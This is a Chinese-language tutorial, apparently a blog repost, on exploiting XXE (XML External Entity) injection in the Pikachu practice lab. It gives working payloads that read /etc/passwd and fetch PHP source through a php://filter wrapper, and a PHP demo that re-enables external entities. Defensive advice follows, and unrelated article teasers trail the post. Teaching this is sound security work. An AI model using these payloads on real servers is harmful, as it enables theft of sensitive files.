【Pikachu】XML外部实体注入实战

若天下不定,吾往;若世道不平,不回!

1.XXE漏洞实战

首先写入一个合法的xml文档

<?xml version = "1.0"?>
<!DOCTYPE gfzq [
    <!ENTITY gfzq "gfzq">
]>
<name>&gfzq;</name>

发现成功解析

在这里插入图片描述

这个xml文档payload中&gfzq;是用来将gfzq这个实体进行调用,gfzq实体成功在前端回显。

外部实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

外部实体payload

<?xml version = "1.0"?>
<!DOCTYPE gfzq [
    <!ENTITY gfzq SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&gfzq;</x>

成功读取到文件

在这里插入图片描述

<?xml version = "1.0"?>
<!DOCTYPE gfzq [
    <!ENTITY gfzq SYSTEM "file:///etc/passwd">
]>
<x>&gfzq;</x>

2.XXE漏洞学习

XML 外部实体注入漏洞(XXE - XML External Entity Injection) 是一种常见的安全漏洞,通常发生在服务器端解析用户提供的 XML 数据时。攻击者利用这个漏洞可以控制服务器执行不安全的操作,或者窃取敏感数据。该漏洞源自 XML 解析器在处理 XML 文档时,错误地允许外部实体的解析和访问。以下是对该漏洞的详细说明和扩展。

1. 什么是 XML 外部实体(XXE)注入漏洞?

XML 外部实体注入漏洞(XXE)是一种攻击方式,攻击者通过提交特殊构造的 XML 数据,使得服务器在解析 XML 数据时,解析器尝试访问外部实体(例如文件、URL 或其他资源)。如果服务器没有适当的安全控制,恶意用户可以借此漏洞执行多种攻击:

  • 信息泄露:攻击者可以通过解析器读取服务器上敏感的本地文件,例如 /etc/passwd/etc/shadow 或其他重要配置文件。
  • 拒绝服务攻击(DoS):攻击者通过构造恶意的 XML 数据,使得服务器不断加载外部实体,从而消耗资源导致服务不可用(如通过“千年蟲”攻击)。
  • 远程代码执行:如果 XML 外部实体指向一个恶意服务器,攻击者可以通过发送恶意请求,让服务器加载并执行远程代码。
  • 绕过身份验证:攻击者可以借此漏洞绕过某些身份验证机制,或者访问通常无法直接访问的资源。

2. XXE 漏洞的工作原理

XXE 漏洞的本质是 XML 解析器处理 XML 文件时错误地解析外部实体(Entities),这些外部实体的内容通常是一个 URI 或路径。XML 外部实体定义允许 XML 文档引用外部资源。一个典型的 XML 外部实体定义如下所示:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >] >
<foo>&xxe;</foo>

在上面的例子中,xxe 是一个外部实体,指向 /etc/passwd 文件。当服务器解析这个 XML 文件时,它会尝试加载并显示这个文件的内容,攻击者因此能够访问系统的敏感信息。

3. 如何触发 XXE 漏洞?

攻击者通常会通过以下步骤触发 XXE 漏洞:

  • 构造恶意的 XML 文件:攻击者构造一个包含外部实体引用的 XML 数据。例如,通过将恶意的 <!ENTITY> 标签嵌入到 XML 文档中,指向敏感的本地文件或外部服务器。
  • 提交给服务器解析:攻击者将该 XML 文件提交给服务器端,通常通过提交表单、API 请求或者文件上传等方式。
  • 服务器解析并执行外部实体:如果服务器未正确配置或未禁用外部实体解析,XML 解析器会处理这些外部实体,导致信息泄露或执行其他恶意行为。

4. 防御措施

为了防止 XXE 漏洞,许多现代编程语言和库已经采取了默认禁用外部实体解析的策略,防止恶意输入被解析。以下是一些常见的防护措施:

  • 禁用外部实体解析:在解析 XML 数据时,确保禁用外部实体的解析功能。许多 XML 解析库(如 PHP 的 libxml、Python 的 lxml 等)提供了禁用外部实体解析的选项。

    • 在 PHP 中,可以使用 libxml 来禁用外部实体解析:

      libxml_disable_entity_loader(true);
      
    • 在 Java 中,可以通过设置 XMLInputFactory 配置来禁用外部实体解析:

      XMLInputFactory factory = XMLInputFactory.newInstance();
      factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
      
  • 使用白名单:如果必须允许 XML 文档中引用外部实体,可以限制允许加载的外部实体的源,仅允许信任的来源。

  • 使用现代解析器:许多现代 XML 解析器(如 libxml2 2.9.0 及以上版本)默认禁用外部实体解析。确保使用最新版本的解析器,以利用这些内建的安全机制。

  • 输入验证与过滤:对用户输入的 XML 数据进行严格的验证和过滤,防止注入恶意的 XML 实体。

  • 安全配置:确保服务器上的文件系统权限正确配置,防止敏感文件暴露给不必要的进程和用户。

5. 案例:PHP 中的 XXE 漏洞模拟

为了演示 XXE 漏洞的触发,下面是一个在 PHP 环境中开启外部实体解析的示例:

libxml_disable_entity_loader(false); // 手动启用外部实体解析

$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >] >
<foo>&xxe;</foo>
XML;

$doc = new DOMDocument();
$doc->loadXML($xml);  // 解析XML,尝试加载外部实体
echo $doc->saveXML();  // 输出解析结果

在上面的示例中,libxml_disable_entity_loader(false) 手动启用了外部实体解析。攻击者通过传入类似的恶意 XML 数据,服务器会试图加载 /etc/passwd 文件并将其内容输出。

6. 总结

XXE(XML 外部实体注入)漏洞是一种常见且危险的攻击方式,攻击者可以利用它访问敏感信息、触发拒绝服务攻击,甚至执行远程代码。为了防止这种漏洞,开发者应始终确保:

  • 使用安全的 XML 解析器配置,禁用外部实体解析。
  • 定期更新库和框架,确保使用最新的安全版本。
  • 对外部输入进行严格的验证和过滤。

现代编程语言和库通常已提供针对 XXE 漏洞的防护措施,但开发者仍需警惕潜在的配置不当和漏洞风险。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN: 
https://rdyx0.blog.csdn.net/

公众号:儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/918960.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Docker安装稳定版本nginx-1.26.2

Linux 安装稳定版本nginx-1.20.2 1、下载镜像、场景配置文件目录 [rootTseng ~]# docker pull nginx:1.26.2 1.26.2: Pulling from library/nginx 2d429b9e73a6: Pull complete 40a0d865309c: Pull complete a949b43e642c: Pull complete 8a756fb620a9: Pull complete 93…

训练误差or测试误差与特征个数之间的关系--基于R语言实现

a 生成数据集&#xff0c;数据由 Y X β ϵ YX\beta\epsilon YXβϵ产生&#xff0c;其中 p 20 &#xff0c; n 1000 p20&#xff0c;n1000 p20&#xff0c;n1000 #way1 set.seed(1) p 20 n 1000 x matrix(rnorm(n*p), n, p) B rnorm(p) B[3] 0 B[4] 0 B[9] 0 B[19…

kafka基础

文章目录 一、Kafka入门1.1、JMS1.2、生产者-消费者模式1.3、ZooKeeper 二、kafka基础架构2.1、producer2.2、kafka cluster2.2.1、broker2.2.2、Controller2.2.3、Topic2.2.4、Partition2.2.5、Replication2.2.6、Leader & Follower 2.3、consumer 一、Kafka入门 Kafka是一…

HarmonyOs鸿蒙开发实战(10)=>状态管理-对象数组的属性数据变更刷新UI,基于@Observed 和@ObjectLink装饰器

1.条件:基于HarmonyOs5.0.0版本. 2.功能要求&#xff1a;横向列表中每个景点的名称&#xff08;eg: 第二项 “灵隐寺” &#xff09;, 在通过天气接口拿到对应天气后&#xff0c;拼接到名称后面 > 变成&#xff08;“灵隐寺” 天气&#xff09;&#xff09; 3.老规矩先看…

诡异错误:返回给前端的id被前端自动修改

使用mybatis-plus生成的id&#xff0c;使用雪花算法&#xff0c;是一个long类型的id。 当调用list接口返回给前端后&#xff0c;接口显示数据正常&#xff0c;但是界面上的id不对&#xff0c;多了好几个0&#xff0c;数据都是以0结尾。 由于前端使用vue编写&#xff0c;我不太会…

Django5 2024全栈开发指南(一):框架简介、环境搭建与项目结构

目录 一、Python Web框架要点二、Django流程2.1 Django介绍2.1.1 简介2.1.2 特点2.1.3 MVT模式2.1.4 Django新特性2.1.5 Django学习资料 2.2 搭建Django框架开发环境2.2.1 安装Python语言环境2.2.2 安装Django框架 2.3 创建Django项目2.4 Pycharm创建项目2.5 初试Django52.5.1 …

大模型研究报告 | 2024年中国金融大模型产业发展洞察报告|附34页PDF文件下载

随着生成算法、预训练模型、多模态数据分析等AI技术的聚集融合&#xff0c;AIGC技术的实践效用迎来了行业级大爆发。通用大模型技术的成熟推动了新一轮行业生产力变革&#xff0c;在投入提升与政策扶植的双重作用下&#xff0c;以大模型技术为底座、结合专业化金融能力的金融大…

深入内核讲明白Android Binder【一】

深入内核讲明白Android Binder【一】 前言一、Android Binder应用编写概述二、基于C语言编写Android Binder跨进程通信Demo0. Demo简介1. 服务的管理者server_manager.c2. Binder服务端代码实现 test_service.c2.1 实现思路2.2 完整实现代码 3. Binder客户端代码实现 test_clie…

新一代API开发工具,让API调试更快 更简单

新一代API开发工具 代理调试 请求测试一站式解决方案 Reqable Fiddler Charles Postman, 让API调试更快 &#x1f680; 更简单 &#x1f44c; 直接上下载地址 根据系统,下载对应的版本即可 https://reqable.com/zh-CN/download/

LVGL-从入门到熟练使用

LVGL简介 LVGL&#xff08; Light and Versatile Graphics Library &#xff09;是一个轻量、多功能的开源图形库。 1、丰富且强大的模块化图形组件&#xff1a;按钮 、图表 、列表、滑动条、图片等 2、高级的图形引擎&#xff1a;动画、抗锯齿、透明度、平滑滚动、图层混合等…

从视频帧生成点云数据、使用PointNet++模型提取特征,并将特征保存下来的完整实现。

文件地址 https://github.com/yanx27/Pointnet_Pointnet2_pytorch?spm5176.28103460.0.0.21a95d27ollfze Pointnet_Pointnet2_pytorch\log\classification\pointnet2_ssg_wo_normals文件夹改名为Pointnet_Pointnet2_pytorch\log\classification\pointnet2_cls_ssg "E:…

时间序列关于可解释性值得关注的论文汇总-第2篇

前言 这是时序可解释性论文汇总的第二篇&#xff0c;第一篇见这里&#xff08;后台回复&#xff1a;“论文合集”可直接获取整理的文章&#xff09;。深度学习的可解释性研究一直是热门&#xff0c;而时间序列的可解释性同样非常重要。这是因为时序模型被大量应用到特定领域&a…

DataStream编程模型之数据源、数据转换、数据输出

Flink之DataStream数据源、数据转换、数据输出&#xff08;scala&#xff09; 0.前言–数据源 在进行数据转换之前&#xff0c;需要进行数据读取。 数据读取分为4大部分&#xff1a; &#xff08;1&#xff09;内置数据源&#xff1b; 又分为文件数据源&#xff1b; socket…

Java面试题2024-Java基础

Java基础 1、 Java语言有哪些特点 1、简单易学、有丰富的类库 2、面向对象&#xff08;Java最重要的特性&#xff0c;让程序耦合度更低&#xff0c;内聚性更高&#xff09; 3、与平台无关性&#xff08;JVM是Java跨平台使用的根本&#xff09; 4、可靠安全 5、支持多线程 2、…

数据结构(基本概念及顺序表——c语言实现)

基本概念&#xff1a; 1、引入 程序数据结构算法 数据&#xff1a; 数值数据&#xff1a;能够直接参加运算的数据&#xff08;数值&#xff0c;字符&#xff09; 非数值数据&#xff1a;不能够直接参加运算的数据&#xff08;字符串、图片等&#xff09; 数据即是信息的载…

使用爬虫获取的数据如何有效分析以优化店铺运营?

在数字化时代&#xff0c;数据已成为电商运营的核心。通过爬虫技术&#xff0c;我们可以从淘宝等电商平台获取大量数据&#xff0c;这些数据如果得到有效分析&#xff0c;将极大助力店铺运营的优化。本文将探讨如何使用爬虫技术获取数据&#xff0c;并利用数据分析来优化店铺运…

c++类对象练习

#include <iostream> #include <cstring>using namespace std;class mystring {char* buf; public:mystring(); //构造函数mystring(const char* str); //构造函数void show(); //输出函数void setmystr(const mystring str); //设置函数const char* getmystr() co…

后端:Spring AOP原理--动态代理

文章目录 1. Spring AOP底层原理2. 代理模式3. 静态代理4. 动态代理4.1 jdk 实现动态代理4.2 cglib 实现动态代理4.3 jdk、cglib动态代理两者的区别 1. Spring AOP底层原理 创建容器 new applicationContext()&#xff1b;Spring把所有的Bean进行创建&#xff0c;进行依赖注入…

微信小程序 最新获取用户头像以及用户名

一.在小程序改版为了安全起见 使用用户填写来获取头像以及用户名 二.代码实现 <view class"login_box"><!-- 头像 --><view class"avator_box"><button wx:if"{{ !userInfo.avatarUrl }}" class"avatorbtn" op…

【Linux】进程的状态详解

进程的状态详解 一、各种状态的概念二、运行状态的详细介绍三、阻塞状态详解四、挂起状态和阻塞状态的关系五、观察各种状态在linux中的表示1.运行态R2.睡眠态S3.暂停态T4.深度睡眠状态D5.僵尸状态Z6.孤儿进程 一、各种状态的概念 为了弄明白正在运行的进程是什么意思&#xf…